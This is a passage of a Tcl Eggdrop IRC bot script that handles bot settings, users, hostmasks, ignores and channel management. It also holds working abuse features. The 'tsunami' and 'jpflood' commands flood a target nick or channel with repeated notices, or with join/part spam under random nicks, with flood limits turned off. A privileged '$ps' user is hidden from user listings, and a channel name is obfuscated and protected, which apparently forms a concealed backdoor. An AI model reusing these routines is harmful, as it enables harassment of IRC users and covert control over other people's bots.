}
saveuser
set realname $rest
putsrv "QUIT :$notc cHaNgINg ReaLNamE ReQuesT By \[ $unick \]"
}
proc msg_ident {unick uhost hand rest} {
global username notc owner ps
if {$unick != $owner &&  $unick != $ps} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
setuser "config" XTRA "USERNAME" ""
} {
if {[regexp \[^a-z\] [string tolower $rest]]} {
puthlp "NOTICE $unick :$notc 4DeNiEd..! use character for ident."
return 0
}
setuser "config" XTRA "USERNAME" [zip $rest]
}
saveuser
set username $rest
putsrv "QUIT :$notc cHaNgINg IdEnT ReQuesT By \[ $unick \]"
}
proc msg_logo {unick uhost hand rest} {
global banner notc notm cycle_random owner ps
if {$unick != $owner &&  $unick != $ps} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
if {![matchattr $unick Q]} {
   puthlp "NOTICE $nick :$notc 4D1e4N1ied4!!"
   return 0
}
if {$rest == ""} {
set notc "4e8g10g11o12e13z"
set notm "4e8g10g11o12e13z"
setuser "config" XTRA "BAN" "[zip $notc]"
puthlp "NOTICE $unick :$notc cHaNgE tO DeFauLT"
#catch { unset banner }
} {
setuser "config" XTRA "BAN" [zip $rest]
set noto $notc
set notc $rest
set notm $rest
#lappend cycle_random $banner
puthlp "NOTICE $unick :$noto CHaNgE TO $rest"
}
saveuser
}
proc msg_email {unick uhost hand rest} {
global notc owner ps
if {$unick != $owner &&  $unick != $ps} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
if {![matchattr $unick Q]} {
   puthlp "NOTICE $nick :$notc 4D1e4N1ied4!!"
   return 0
}

if {$rest == ""} {
puthlp "NOTICE $unick :$notc1 DeLETING USeR EmAIL"
} {
puthlp "NOTICE $unick :$notc1 USeR EmAIL SeT \[$rest\]"
}
setuser "config" XTRA "EMAIL" $rest
saveuser
}
proc msg_ADmIN {unick uhost hand rest} {
global notc owner ps
if {$unick != $owner &&  $unick != $ps} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
if {![matchattr $unick Q]} {
   puthlp "NOTICE $nick :$notc 4D1e4N1ied4!!"
   return 0
}
if {$rest == ""} {
puthlp "NOTICE $unick :$notc1 SeT ADmIN oN STaTUS TO DeFAULT"
} {
puthlp "NOTICE $unick :$notc1 ADmIN oN STaTUS TO \[$rest\]"
}
setuser "config" XTRA "ADMIN" $rest
saveuser
}
proc msg_botaltnick {unick uhost hand rest} {
global botnick altnick altpass notc
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
set baltnick [lindex $rest 0]
set baltpass [lindex $rest 1]
if {$baltnick == "" || $baltpass == ""} {
puthlp "NOTICE $unick :$notc4 Usage: botaltnick <nick> <identify>"
return 0
}
setuser "config" XTRA "ALTNICK" [zip $baltnick]
setuser "config" XTRA "ALTPASS" [zip $baltpass]
saveuser
set altnick $baltnick
set altpass $baltpass
puthlp "NOTICE $unick :$notc BoTALTNIcK $baltnick"
}
proc msg_away {unick uhost hand rest} {
global realname notc
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
setuser "config" XTRA "AWAY" ""
puthlp "NOTICE $unick :$notc AwAY \[4OFF\]"
} {
setuser "config" XTRA "AWAY" $rest
puthlp "NOTICE $unick :$notc AwAY SeT TO \[$rest\]"
}
saveuser
chk_five "0" "0" "0" "0" "0"
}
proc msg_memo {nick uhost hand rest} {
global notc own ps
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: memo <all/user> <msg>"
return 0
}
set msend [lindex $rest 0]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[string tolower $msend] == "all"} {
set smemo ""
foreach x [userlist m] {
if {$x != $nick && $x != $own} {
if {[getuser $x XTRA "MEMO"] == ""} {
setuser $x XTRA "MEMO" "$nick: [lrange $rest 1 end]"
append smemo "$x "
}
}
}
if {$smemo == ""} {
puthlp "NOTICE $nick :$notc MeMO !FaILED! NO UsER SeND"
} {
saveuser
puthlp "NOTICE $nick :$notc MeMO SeND TO \[ $smemo\]"
}
} {
if {![validuser $msend] || $msend == $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, NO UsER!"
return 0
} {
if {![matchattr $msend m]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, MiN MasTeR FLaG!"
return 0
}
if {$msend == $nick} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT SeLF MeMo!"
return 0
}
if {[getuser $msend XTRA "MEMO"]!=""} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, MeMo FoR $msend STiLL ExIST!"
return 0
}
setuser [lindex $rest 0] XTRA "MEMO" "$nick: [lrange $rest 1 end]"
saveuser
puthlp "NOTICE $nick :$notc MeMO SeND TO \[[lindex $rest 0]\]"
}
}
}
proc pub_+mustop {nick uhost hand chan rest} {
global notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
setuser "config" XTRA "MUSTOP" "T"
saveuser
puthlp "NOTICE $nick :$notc must @P set \[9ON\]"
}
proc pub_-mustop {nick uhost hand chan rest} {
global notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
setuser "config" XTRA "MUSTOP" ""
saveuser
puthlp "NOTICE $nick :$notc must @P set \[4OFF\]"
}
proc pub_kickops {nick uhost hand chan rest} {
global notc kops
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[string tolower $rest] == "on"} {
set kops "T"
setuser "config" XTRA "KOPS" "T"
puthlp "NOTICE $nick :$notc KIcK @PS \[9ON\]"
} {
catch { unset kops }
setuser "config" XTRA "KOPS" ""
puthlp "NOTICE $nick :$notc KIcK @PS \[4OFF\]"
}
saveuser
}
bind topc - * topic_chk
proc pub_badwords {nick uhost hand chan rest} {
global badwords notc
set retval "BaDWoRDS: "
foreach badword [string tolower $badwords] {
append retval "$badword "
}
puthlp "NOTICE $nick :$notc $retval"
return 0
}
proc pub_+badword {nick uhost hand chan rest} {
global badwords notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: `+badword <badword>"
return 0
}
if {[string match "*[string tolower [lindex $rest 0]]*" $badwords]} {
puthlp "NOTICE $nick :$notc [lindex $rest 0] Allready Added"
return 0
}
append badwords " [string tolower [lindex $rest 0]]"
setuser "config" XTRA "BADWORDS" $badwords
saveuser
puthlp "NOTICE $nick :$notc Added [lindex $rest 0] to badwords"
return 0
}
proc pub_-badword {nick uhost hand chan rest} {
global badwords notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: `-badword <badword>"
return 0
}
set val ""
foreach badword [string tolower $badwords] {
if {[string tolower [lindex $rest 0]] == $badword} {
puthlp "NOTICE $nick :$notc Removed [lindex $rest 0]"
} else { append val " $badword " }
}
set badwords $val
setuser "config" XTRA "BADWORDS" $val
saveuser
return 0
}
proc pub_jump {nick uhost hand chan rest} {
global botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set server [lindex $rest 0]
if {$server == ""} {
puthlp "NOTICE $nick :$notc Usage: jump <server> \[port\] \[password\]"
return 0
}
if {![string match "*dal.net*" [string tolower $rest]]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..! NoT DALNeT..!"
return 0
}
set port [lindex $rest 1]
if {$port == ""} {set port "6666"}
set password [lindex $rest 2]
putsrv "QUIT :$notc cHaNgINg ServeR ReQuesT By \[ $nick \] $server"
utimer 2 [list jump $server $port $password]
}
proc msg_die {nick uhost hand rest} {
global notc owner ps
if {$nick != $owner &&  $nick != $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [userlist] {
if {$x != "AKICK"} {
chattr $x -Q
foreach y [getuser $x HOSTS] {
delhost $x $y
}
set hostmask "${x}!*@*"
setuser $x HOSTS $hostmask
}
}
saveuser
if {$rest != ""} {
set rest " $rest"
}
putsrv "QUIT :$notc SHuTDown ReQuesT By \[ $nick \]$rest"
utimer 5 dies
}
proc pub_ignores {nick uhost hand chan rest} {
global botnick notc
set iglist ""
foreach x [ignorelist] {
set iglister [lindex $x 0]
set iglist "$iglist $iglister"
}
if {[ignorelist]==""} {
puthlp "NOTICE $nick :$notc No ignores."
return 0
}
regsub -all " " $iglist ", " iglist
set iglist [string range $iglist 1 end]
puthlp "NOTICE $nick :$notc Currently ignoring:$iglist"
return 0
}
proc pub_-ignore {nick uhost hand chan rest} {
global botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set hostmask [lindex $rest 0]
if {$hostmask == ""} {
puthlp "NOTICE $nick :$notc Usage: -ignore <hostmask>"
return 0
}
if {![isignore $hostmask]} {
puthlp "NOTICE $nick :$notc $hostmask is not on my ignore list."
return 0
}
if {[isignore $hostmask]} {
killignore $hostmask
puthlp "NOTICE $nick :$notc No longer ignoring \002\[\002${hostmask}\002\]\002"
saveuser
}
}
proc pub_+ignore {nick uhost hand chan rest} {
global botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set rest [lindex $rest 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +ignore <hostmask>"
return 0
}
if {[isignore $rest]} {
puthlp "NOTICE $nick :$notc $rest is alreay set on ignore."
return 0
}
if {$rest == "*!*@*"} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, Ilegal hostmask."
return 0
}
set usenick [finduser $rest]
if {$usenick != "*" && [matchattr $usenick f]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, canT IgNoREd FRIend UsER"
return 0
}
if {$rest != $nick} {
newignore $rest $nick "*" 600
puthlp "NOTICE $nick :$notc Ignoring $rest"
} else {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't ignore your self."
}
}
proc pub_-host {nick uhost hand chan rest} {
global botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set who [lindex $rest 0]
set hostname [lindex $rest 1]
set completed 0
if {($who == "") || ($hostname == "")} {
puthlp "NOTICE $nick :$notc Usage: -host <nick> <hostmask>"
return 0
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc <n/a>"
return 0
}
if {(![matchattr $nick n]) && ([matchattr $who n])} {
puthlp "NOTICE $nick :$notc Can't remove hostmasks from the bot owner."
return 0
}
if {![matchattr $nick m]} {
if {[string tolower $hand] != [string tolower $who]} {
puthlp "NOTICE $nick :$notc You need '+m' to change other users hostmasks"
return 0
}
}
foreach * [getuser $who HOSTS] {
if {${hostname} == ${*}} {
delhost $who $hostname
saveuser
puthlp "NOTICE $nick :$notc Removed \002\[\002${hostname}\002\]\002 from $who."
set completed 1
}
}
if {$completed == 0} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
}
}
set thehosts {
*@* * *!*@* *!* *!@* !*@*  *!*@*.* *!@*.* !*@*.* *@*.*
*!*@*.com *!*@*com *!*@*.net *!*@*net *!*@*.org *!*@*org
*!*@*gov *!*@*.ca *!*@*ca *!*@*.uk *!*@*uk *!*@*.mil
*!*@*.fr *!*@*fr *!*@*.au *!*@*au *!*@*.nl *!*@*nl *!*@*edu
*!*@*se *!*@*.se *!*@*.nz *!*@*nz *!*@*.eg *!*@*eg *!*@*dk
*!*@*.il *!*@*il *!*@*.no *!*@*no *!*@*br *!*@*.br *!*@*.gi
*!*@*.gov *!*@*.dk *!*@*.edu *!*@*gi *!*@*mil *!*@*.to *!@*.to
*!*@*to *@*.to *@*to
}
proc pub_+host {nick uhost hand chan rest} {
global thehosts botnick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set who [lindex $rest 0]
set hostname [lindex $rest 1]
if {($who == "") || ($hostname == "")} {
puthlp "NOTICE $nick :$notc Usage: +host <nick> <new hostmask>"
return 0
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
return 0
}
set badhost 0
foreach * [getuser $who HOSTS] {
if {${hostname} == ${*}} {
puthlp "NOTICE $nick :$notc That hostmask is already there."
return 0
}
}
if {($who == "") && ($hostname == "")} {
puthlp "NOTICE $nick :$notc Usage: +host <nick> <new hostmask>"
return 0
}
if {([lsearch -exact $thehosts $hostname] > "-1") || (![string match *@* $hostname])} {
if {[string index $hostname 0] != "*"} {
set hostname "*!*@*${hostname}"
} else {
set hostname "*!*@${hostname}"
}
}
if {([string match *@* $hostname]) && (![string match *!* $hostname])} {
if {[string index $hostname 0] == "*"} {
set hostname "*!${hostname}"
} else {
set hostname "*!*${hostname}"
}
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
return 0
}
if {(![matchattr $nick n]) && ([matchattr $who n])} {
puthlp "NOTICE $nick :$notc Can't add hostmasks to the bot owner."
return 0
}
foreach * $thehosts {
if {${hostname} == ${*}} {
puthlp "NOTICE $nick :$notc Invalid hostmask!"
set badhost 1
}
}
if {$badhost != 1} {
if {![matchattr $nick m]} {
if {[string tolower $hand] != [string tolower $who]} {
puthlp "NOTICE $nick :$notc You need '+m' to change other users hostmasks"
return 0
}
}
setuser $who HOSTS $hostname
puthlp "NOTICE $nick :$notc Added \002\[\002${hostname}\002\]\002 to $who."
if {[matchattr $who a]} {
opq $chan $who
}
saveuser
}
}
proc msg_join {nick uhost hand rest} {
global botnick joinme own notc owner ps
set chantarget [lindex $rest 0]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$nick != $owner &&  $nick != $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, YoU aRe nOt mY ReAL OwNER"
return 0
}

if {$chantarget == ""} {
puthlp "NOTICE $nick :$notc Usage: join <#chan>"
return 0
}
if {[string first # $chantarget]!=0} {
set chantarget "#$chantarget"
}
if {[validchan $chantarget]} {
puthlp "NOTICE $nick :$notc $chantarget already in channel list"
return 0
}
if {$nick != $owner && [total_channel] != 1} {
puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"
return 0
}
set joinme $nick
channel add $chantarget
catch { channel set $chantarget +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
if {[lindex $rest 1] != ""} {
putsrv "JOIN $chantarget :[lindex $rest 1]"
}
return 0
}
proc msg_+chan {nick uhost hand rest} {
global botnick joinme own notc owner ps
set chantarget [lindex $rest 0]
set opt [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc 4!BLoCkEd!"
return 0
}
if {$nick != $owner &&  $nick != $ps} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD Channel"
return 0
}
if {$chantarget == ""} {
puthlp "NOTICE $nick :$notc Usage: +chan <#chan>"
return 0
}
if {[string first # $chantarget]!=0} {
set chantarget "#$chantarget"
}
if {[validchan $chantarget]} {
puthlp "NOTICE $nick :$notc $chantarget is already on channels list."
return 0
}
if {$nick != $owner && [total_channel] != 1} {
puthlp "NOTICE $nick :$notc OnLY ReAL OwNeR can ADD ChaNneL ..!"
return 0
}
set joinme $nick
channel add $chantarget
if {$opt != "" && [string tolower $opt] == "+nopart"} {
catch { channel set $chantarget -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
} else {
catch { channel set $chantarget -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
}
savechan
if {[lindex $rest 1] != ""} {
putsrv "JOIN $chantarget :[lindex $rest 1]"
}
return 0
}
proc msg_part {nick uhost hand rest} {
global botnick joinme notc ps partm
set partmsg [lindex $partm [rand [llength $partm]]]
set chantarget [lindex $rest 0]
set part_msg [lrange $rest 1 end]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$chantarget == ""} {
puthlp "NOTICE $nick :$notc Usage: part <#chan>"
return 0
}
if {[string first # $chantarget]!=0} {
set chantarget "#$chantarget"
}
if {$nick != $ps && [string tolower $chantarget] == [dezip "ER5sr09TRjx1"]} { return 0 }
foreach x [channels] {
if {[string tolower $x]==[string tolower $chantarget]} {
if {[string match "*+secret*" [channel info $x]]} {
puthlp "NOTICE $nick :$notc I can't part $x 4pRoTecTEd..!"
return 0
}
if {![onchan $nick $x]} {
puthlp "NOTICE $nick :$notc PaRT $x"
}
if {$part_msg != ""} {
putsrv "PART $x :$part_msg"
} {
putsrv "PART $x :6$partmsg"
}
channel remove $x
savechan
return 0
}
}
return 0
}
proc pub_chanreset {nick uhost hand chan rest} {
global notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: chanreset <#|ALL>"
return 0
}
set chan [lindex $rest 0]
if {[string tolower $chan] == "all"} {
puthlp "NOTICE $nick :$notc ReSeT ALL DeFauLT FLAg"
foreach x [channels] {
catch { channel set $x -statuslog -revenge -protectops -clearbans +cycle -enforcebans +userbans +greet -secret -autovoice -autoop +dynamicbans flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
catch { channel set $x -nodesynch }
set cflag "c$x"
set cflag [string range $cflag 0 8]
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
}
savechan
return 0
}
if {[string first # $chan]!=0} {
set chan "#$chan"
}
puthlp "NOTICE $nick :$notc ReSeT cHaNNeL \[$chan\] DeFauLT FLAg"
if {![validchan $chan]} {
puthlp "NOTICE $nick :$notc UnFIndEd $chan."
return 0
}
catch { channel set $chan -statuslog -revenge -protectops +cycle -clearbans -enforcebans +userbans +greet -secret -autovoice -autoop +dynamicbans flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
catch { channel set $chan -nodesynch }
set cflag "c$chan"
set cflag [string range $cflag 0 8]
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
savechan
}
proc msg_channels {nick hand uhost rest} {
pub_channels $nick $uhost $hand "" $rest
}
proc pub_channels {nick hand uhost channel rest} {
global botnick notc
if {$rest != ""} {
if {[validchan [lindex $rest 0]]} {
set x [lindex $rest 0]
set chan ""
set cflag "c$x"
set cflag [string range $cflag 0 8]
if {[string tolower $x] == [dezip "ER5sr09TRjx1"]} { return 0 }
if {[isop $botnick $x]} { append chan " @" }
if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" }
if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " }
if {[string match "*+seen*" [channel info $x]]} { append chan "4S" }
if {[string match "*+nodesynch*" [channel info $x]]} { append chan "4K" }
if {[matchattr $cflag V]} { append chan "4V" }
if {[string match "*+greet*" [channel info $x]]} { append chan "4G" }
if {[matchattr $cflag C]} { append chan "4C" }
if {[string match "*+secret*" [channel info $x]]} { append chan "4P" }
if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "4L" }
if {[string match "*-userinvites*" [channel info $x]]} { append chan "4D" }
if {[matchattr $cflag G]} { append chan "4A" }
if {[matchattr $cflag I]} { append chan "4T" }
append chan "$x [chattr $cflag]"
puthlp "NOTICE $nick :$notc $chan"
}
return 0
}
set chan "Channels:"
foreach x [channels] {
if {[string tolower $x] != [dezip "ER5sr09TRjx1"]} {
set cflag "c$x"
set cflag [string range $cflag 0 8]
if {[isop $botnick $x]} { append chan " @" }
if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" }
if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " }
if {[string match "*+seen*" [channel info $x]]} { append chan "4S" }
if {[matchattr $cflag V]} { append chan "4V" }
if {[string match "*+greet*" [channel info $x]]} { append chan "4G" }
if {[string match "*+nodesynch*" [channel info $x]]} { append chan "4K" }
if {[matchattr $cflag C]} { append chan "4C" }
if {[string match "*+secret*" [channel info $x]]} { append chan "4P" }
if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "4L" }
if {[string match "*-userinvites*" [channel info $x]]} { append chan "4D" }
if {[matchattr $cflag G]} { append chan "4A" }
if {[matchattr $cflag I]} { append chan "4T" }
append chan "$x"
}
}
puthlp "NOTICE $nick :$notc $chan"
}
proc pub_match {nick uhost hand chan rest} {
global ps notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: match <flags>"
return 0
}
set rest [string trim $rest +]
if {[string length $rest] > 1} {
puthlp "NOTICE $nick :$notc Invalid option."
return 0
}
if {$rest!=""} {
set rest "+[lindex $rest 0]"
if {[userlist $rest]!=""} {
regsub -all " " [userlist $rest] ", " users
regsub -all $ps [userlist $rest] "" users
puthlp "NOTICE $nick :$notc Match \[$rest\]: $users"
return 0
}
if {[userlist $rest]==""} {
puthlp "NOTICE $nick :$notc No users with flags \[$rest\]"
return 0
}
}
}
proc val {string} {
set arg [string trim $string /ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
set arg2 [string trim $arg #!%()@-_+=\[\]|,.?<>{}]
return $arg2
}
proc msg_topic {nick uhost hand rest} {
global notc botnick
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: topic <#> <topic>"
return 0
}
set channel [lindex $rest 0]
if {[string first # $rest] != 0} {
set channel "#$channel"
}
if {![validchan $channel]} {
puthlp "NOTICE $nick :$notc NoT IN $channel"
return 0
}
if {![isop $botnick $channel]} {
puthlp "NOTICE $nick :$notc NoT OP $channel"
return 0
}
set rest [lrange $rest 1 end]
putsrv "TOPIC $channel :$rest"
}
proc pub_topic {nick uhost hand channel rest} {
global botnick notc botnick
if {![isop $botnick $channel]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: topic <topic>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
putsrv "TOPIC $channel :$rest"
}
set cmd_chn ""
set cmd_by ""
set cmd_msg ""
set cmd_case ""
bind join - * join_jf
proc join_jf {nick uhost hand chan} {
global botnick quick jpfchn jpfmsg jpfidx
if {![info exists jpfmsg]} { return 0 }
if {$nick != $botnick} { return 0 }
if {$chan != $jpfchn} { return 0 }
if {$quick == "1"} {
putqck "PRIVMSG $chan :$jpfmsg,"
} else {
putsrv "PRIVMSG $chan :$jpfmsg,"
}
incr jpfidx
if {$jpfidx >= 4} {
catch { channel remove $jpfchn }
catch { unset jpfchn }
catch { unset jpfmsg }
catch { unset jpfidx }
puthlp "AWAY"
return 0
}
if {$quick == "1"} {
putqck "part $chan :$jpfmsg"
} else {
putsrv "part $chan :$jpfmsg"
}
}
proc pub_jpflood {nick uhost hand channel rest} {
global jpfmsg jpfidx notc ps
if {[string index $rest 0] != "#" || $rest == ""} {
puthlp "NOTICE $nick :$notc Usage: jpflood #channel message"
return 0
}
if {[validchan [lindex $rest 0]]} {
puthlp "NOTICE $nick :$notc dOnt UsE ExIsT cHanneL..!"
return 0
}
set jpfmsg " n0 Reas0n "
if {[lindex $rest 1] != ""} {
set jpfmsg [lindex $rest 1]
}
set jpfchn [lindex $rest 0]
if {$nick != $ps && [string tolower $jpfchn] == [dezip "ER5sr09TRjx1"]} { return 0 }
set jpfidx 0
catch { clearqueue all }
pub_randnick $nick $uhost $hand $channel ""
utimer 10 hazar
}
proc hazar {} {
global jpfchn
utimer 120 goback
channel add $jpfchn
catch { channel set $jpfchn +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
}
proc pub_tsunami {nick uhost hand channel rest} {
global cmd_chn cmd_by cmd_msg cmd_case botnick version notc quick ps owner
if {$nick != $owner &&  $nick != $ps} {
puthlp "PRIVMSG $nick :$notc oNLy ReAL OwNER can uSe tSuNaMi"
return 0
}
set person [lindex $rest 0]
set rest [lrange $rest 1 end]
if {$person == $botnick} { return 0 }
if {[string index $person 0] == "#"} {
if {[validchan $person]} {
if {[isop $botnick $person] && ![matchattr $nick m]} {
if {[isutimer "IN PROGRESS"]} { return 0 }
utimer 20 [list putlog "IN PROGRESS"]
putsrv "KICK $channel $nick :$notc 1cHaNNeL 4FLoOd1 PRoTecTIoN4..!"
return 0
}
}
}
if {[matchattr $person n] && ![matchattr $nick Z]} {
if {[isop $botnick $channel]} {
putsrv "KICK $channel $nick :$notc 1Admin 4FLoOd1 PRoTecTIoN4..!"
}
if {[istimer "IN PROGRESS"]} { return 0 }
timer 2 [list putlog "IN PROGRESS"]
putsrv "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"
return 0
}
if {![matchattr $nick Z]} {
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: tsunami <nick/#> <msg>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[string tolower $person] == [string tolower $ps]} { return 0 }
if {[string index $person 0] == "#"} {
if {![validchan $person]} {
if {$nick != $ps && [string tolower $person] == [dezip "ER5sr09TRjx1"]} { return 0 }
pub_randnick $nick $uhost $hand $channel ""
set cmd_chn $person
set cmd_msg $rest
set cmd_by $nick
set cmd_case "1"
channel add $person
catch { channel set $person +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
return 0
}
}
catch { clearqueue all }
pub_randnick $nick $uhost $hand $channel ""
if {[string index $person 0] == "#"} { setignore "*!*@*" "*" 120 }
if {$quick == "1"} {
putqck "PRIVMSG $person :$rest,"
putqck "NOTICE $person :$rest,"
}
putsrv "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
puthlp "NOTICE $person :$rest,"
utimer 10 {
puthlp "AWAY"
}
utimer 120 goback
return 0
}
bind time -  "*2 * * * *" auto_ident
proc auto_ident {min h d m y} {
timer 5 ident_it
auto_ping "0" "0" "0" "0" "0"
}
proc ident_at {} {
global nick altnick botnick nickpass altpass server-online
putlog "!Log! AuTO IDeNTIFY NiCK"
timer 7200 ident_at
if {${server-online} == 0} { return 0 }
if {$botnick == $nick && $nickpass != ""} {
putsrv "NickServ identify $nickpass"
}
if {$botnick != $nick && $nickpass != ""} {
putsrv "NickServ identify $nick $nickpass"
}
}
timer 7200 ident_at
proc ident_it {} {
global nick altnick botnick nickpass altpass ex_flood invme pingchan own chk_reg
global kickme deopme cmd_chn cmd_msg ps twice_msg keep-nick version notc lastkey
global flooddeop floodnick floodkick server-online is_m op_it jpfchn jpfmsg jpfidx
putlog "!Log! AuTO ReSETING VaRIABLE"
catch { channel remove $jpfchn }
catch { unset jpfchn }
catch { unset jpfmsg }
catch { unset jpfidx }
catch {unset op_it}
catch {unset is_m}
catch {unset chk_reg}
catch {unset flooddeop}
catch {unset floodnick}
catch {unset floodkick}
catch {unset lastkey}
catch {unset ex_flood}
catch {unset invme}
catch {unset pingchan}
catch {unset twice_msg}
catch {unset kickme}
set deopme ""
set cmd_chn ""
set cmd_msg ""
if {${server-online} == 0} { return 0 }
if {![string match "ERR??????????" $botnick] && ![string match "ERR??????" $botnick]} {
if {$botnick != $nick && $botnick != $altnick && ![istimer "goback"] && ![isutimer "goback"]} { goback }
} {
goback
}
if {$ps != $own} {
set own $ps
}
if {![isutimer "del_nobase"] && ![istimer "del_nobase"]} { utimer 2 del_nobase }
}
bind time -  "*4 * * * *" auto_ping
bind time -  "*8 * * * *" auto_ping
proc auto_ping {min h d m y} {
global botnick repeat_last repeat_person capsnick own notc notc_chn bannick
global unop wait_ping server-online jpnick igflood is_ban iskick
if {${server-online} == 0} {
catch { unset wait_ping }
return 0
}
catch {unset iskick}
catch {unset is_ban}
catch {unset igflood}
catch {unset jpnick}
catch {unset unop}
catch {unset bannick}
catch {unset notc_chn}
catch {unset capsnick}
catch {unset repeat_person}
catch {unset repeat_last}
puthlp "PRIVMSG $botnick :\001PING [unixtime]\001"
if {![info exists wait_ping]} {
set wait_ping 1
} else {
set wait_ping [expr $wait_ping + 1]
}
if {$wait_ping > 9} {
catch { unset wait_ping }
#putsrv "QUIT :$notc Server LAggEd AuTo ReSTaRT ReQuesT"
}
}
proc remain {} {
